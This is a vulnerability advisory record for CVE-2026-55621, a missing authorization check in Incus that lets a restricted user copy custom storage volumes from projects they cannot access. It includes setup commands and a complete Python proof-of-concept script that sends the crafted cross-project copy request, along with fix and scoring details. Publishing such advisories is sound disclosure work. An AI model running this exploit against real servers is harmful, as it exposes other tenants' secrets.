{"id":"CVE-2026-55621","aliases":["GHSA-64f3-v33m-w89f","GO-2026-6318"],"url":"https://o3.security/vulnerability/CVE-2026-55621","summary":"Incus has a project restriction bypass for custom volume copy across projects","details":"### Summary\n\nMissing authorization checks exist for custom volume copying where an attacker who knows the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access.\n\n### Details\n\nThe storage volume creation handler authorizes creation in the target project, then passes `req.Source.Project` into the custom-volume copy path without checking that the caller can view the source volume. `req.Source.Project` is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to `CreateCustomVolumeFromCopy`. No `allowPermission` or entitlement check (e.g. `CanView` on the source volume) is performed.\n\nThe copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server.\n\n### PoC\n#### Setup\n\nAssume the target server is remotely accessible and a user/certificate has been added.\n\n```\n# create a new project and instance\nincus project create secrets\nincus profile show default | incus --project secrets edit default\nincus --project secrets storage volume create default secret-vol\n\n# restrict an existing certificate to prevent access to the project\nincus config trust edit cert-fp\n#> set, for example\nrestricted: true\nprojects:\n  - default\n\n# verification, with the restricted certificate\nincus --project secrets storage volume ls remote:default\n```\n\n#### Exploitation\n\nThe below script was partly generated. To copy the secret instance to the default project, the following command can be used.\n\n```\npython3 poc.py --url https://IP-REMOTE:8443 \\\n    --cert path/to/client.crt --key path/to/client.key \\\n    --target-project default --source-project secrets \\\n    --source-volume secret-vol --name copy-secret-vol \\\n    --pool default --source-pool default \\\n    --insecure\n```\n\nWait a bit for the custom volume to be copied, then `incus storage volume ls remote:default` to see the copied instance.\n\n```\n#!/usr/bin/env python3\n\"\"\"Copy a custom storage volume from another project into an allowed project.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport ssl\nimport sys\nimport urllib.error\nimport urllib.parse\nimport urllib.request\n\n\ndef post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:\n    ctx = ssl.create_default_context()\n    if insecure:\n        ctx.check_hostname = False\n        ctx.verify_mode = ssl.CERT_NONE\n    ctx.load_cert_chain(cert, key)\n    req = urllib.request.Request(\n        url.rstrip(\"/\") + path,\n        data=json.dumps(body).encode(),\n        method=\"POST\",\n        headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n    )\n    try:\n        with urllib.request.urlopen(req, context=ctx) as resp:\n            return resp.read()\n    except urllib.error.HTTPError as exc:\n        sys.stderr.write(exc.read().decode(errors=\"replace\") + \"\\n\")\n        raise\n\n\ndef main() -> int:\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"--url\", required=True)\n    ap.add_argument(\"--cert\", required=True)\n    ap.add_argument(\"--key\", required=True)\n    ap.add_argument(\"--pool\", required=True)\n    ap.add_argument(\"--target-project\", required=True)\n    ap.add_argument(\"--source-project\", required=True)\n    ap.add_argument(\"--source-volume\", required=True)\n    ap.add_argument(\"--source-pool\")\n    ap.add_argument(\"--name\", required=True, help=\"new volume name in target project\")\n    ap.add_argument(\"--content-type\", default=\"filesystem\", choices=[\"filesystem\", \"block\"])\n    ap.add_argument(\"--volume-only\", action=\"store_true\")\n    ap.add_argument(\"--insecure\", action=\"store_true\")\n    ap.add_argument(\"--dry-run\", action=\"store_true\")\n    args = ap.parse_args()\n\n    source = {\n        \"type\": \"copy\",\n        \"name\": args.source_volume,\n        \"project\": args.source_project,\n        \"volume_only\": args.volume_only,\n    }\n    if args.source_pool:\n        source[\"pool\"] = args.source_pool\n\n    body = {\n        \"name\": args.name,\n        \"type\": \"custom\",\n        \"content_type\": args.content_type,\n        \"source\": source,\n    }\n    path = \"/1.0/storage-pools/{}/volumes/custom?{}\".format(\n        urllib.parse.quote(args.pool, safe=\"\"),\n        urllib.parse.urlencode({\"project\": args.target_project}),\n    )\n    print(json.dumps(body, indent=2))\n    if args.dry_run:\n        return 0\n    print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors=\"replace\"))\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n### Impact\n\nAn attacker can copy instances they don't normally have access to, possibly leading to information disclosure.","published":"2026-08-21T14:39:43.775Z","modified":"2026-09-29T18:26:40.763222870Z","cvss":{"score":7.7,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"},"epss":{"score":0.00201,"percentile":0.10216,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/lxc/incus/v7","fixedVersion":"7.2.0"},{"ecosystem":"Go","name":"github.com/lxc/incus/v6","fixedVersion":null},{"ecosystem":"Go","name":"github.com/lxc/incus","fixedVersion":null}],"fix":{"url":"https://github.com/lxc/incus/commit/2e01078366e2653712719dec82318e51c6d21b28","label":"lxc/incus@2e01078"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55621.json"},{"type":"ADVISORY","url":"https://github.com/lxc/incus/security/advisories/GHSA-64f3-v33m-w89f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55621"},{"type":"WEB","url":"https://github.com/lxc/incus/commit/2e01078366e2653712719dec82318e51c6d21b28"},{"type":"PACKAGE","url":"https://github.com/lxc/incus"},{"type":"WEB","url":"https://github.com/lxc/incus/releases/tag/v7.2.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-29T18:26:40.763222870Z"}}